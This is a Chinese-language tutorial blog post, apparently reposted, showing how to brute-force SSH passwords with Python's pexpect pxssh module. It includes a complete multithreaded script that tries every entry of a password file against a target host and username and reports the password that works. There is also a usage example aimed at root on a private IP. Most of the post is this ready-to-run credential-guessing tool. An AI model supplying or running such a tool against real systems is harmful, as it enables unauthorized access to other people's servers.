python-使用Pxssh模块暴力破解SSH密码

pxssh 是 pexpect 中 spawn 类的子类,增加了login()、logout()和prompt()几个方法,使用其可以轻松实现 ssh 连接,而不用自己调用相对复杂的 pexpect 的方法来实现。

prompt(self,timeout=20)方法用于匹配新提示符

小试牛刀;

#!/usr/bin/python
#coding=utf-8
from pexpect import pxssh

def send_command(s,cmd):

    s.sendline(cmd)
    #匹配prompt(提示符)
    s.prompt()
    #将prompt前所有内容打印出
    print s.before

def connect(host,user,password):
    try:
        s = pxssh.pxssh()
        #利用pxssh类的login()方法进行ssh登录
        s.login(host,user,password)
        return s
    except:
        print '[-] Error Connecting'
        exit(0)

s = connect('10.10.10.128','msfadmin','msfadmin')
send_command(s,'uname -a')

完整代码:

#!/usr/bin/python
#coding=utf-8
from pexpect import pxssh
import optparse
import time
from threading import *

maxConnections = 5
#定义一个有界信号量BoundedSemaphore,在调用release()函数时会检查增加的计数是否超过上限
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0

def connect(host,user,password,release):

    global Found
    global Fails

    try:
        s = pxssh.pxssh()
        #利用pxssh类的login()方法进行ssh登录
        s.login(host,user,password)
        print '[+] Password Found: ' + password
        Found = True
    except Exception, e:
        #SSH服务器可能被大量的连接刷爆,等待一会再连接
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            #递归调用的connect(),不可释放锁
            connect(host,user,password,False)
        #显示pxssh命令提示符提取困难,等待一会再连接
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            #递归调用的connect(),不可释放锁
            connect(host,user,password,False)
    finally:
        if release:
            #释放锁
            connection_lock.release()

def main():
    parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -f <password file>')
    parser.add_option('-H',dest='host',type='string',help='specify target host')
    parser.add_option('-u',dest='username',type='string',help='target username')
    parser.add_option('-f',dest='file',type='string',help='specify password file')
    (options,args) = parser.parse_args()

    if (options.host == None) | (options.username == None) | (options.file == None):
        print parser.usage
        exit(0)

    host = options.host
    username = options.username
    file = options.file

    fn = open(file,'r')
    for line in fn.readlines():

        if Found:
            print '[*] Exiting: Password Found'
            exit(0)

        if Fails > 5:
            print '[!] Exiting: Too Many Socket Timeouts'
            exit(0)

        #加锁
        connection_lock.acquire()

        #去掉换行符,其中Windows为'\r\n',Linux为'\n'
        password = line.strip('\r').strip('\n')
        print '[-] Testing: ' + str(password)

        #这里不是递归调用的connect(),可以释放锁
        t = Thread(target=connect,args=(host,username,password,True))
        child = t.start()

if __name__ =='__main__':
    main()

emaphore,是一种带计数的线程同步机制,当调用release时,增加计算,当acquire时,减少计数,当计数为0时,自动阻塞,等待release被调用。其存在两种Semaphore, 即Semaphore和BoundedSemaphore,都属于threading库。

Semaphore:  在调用release()函数时,不会检查增加的计数是否超过上限(没有上限,会一直上升)

BoundedSemaphore:在调用release()函数时,会检查增加的计数是否超过上限,从而保证了使用的计数

调用方式:brute.py -H 192.168.1.1 -u root -f passwdlist.txt

猜你喜欢

转载自www.cnblogs.com/LyShark/p/9098997.html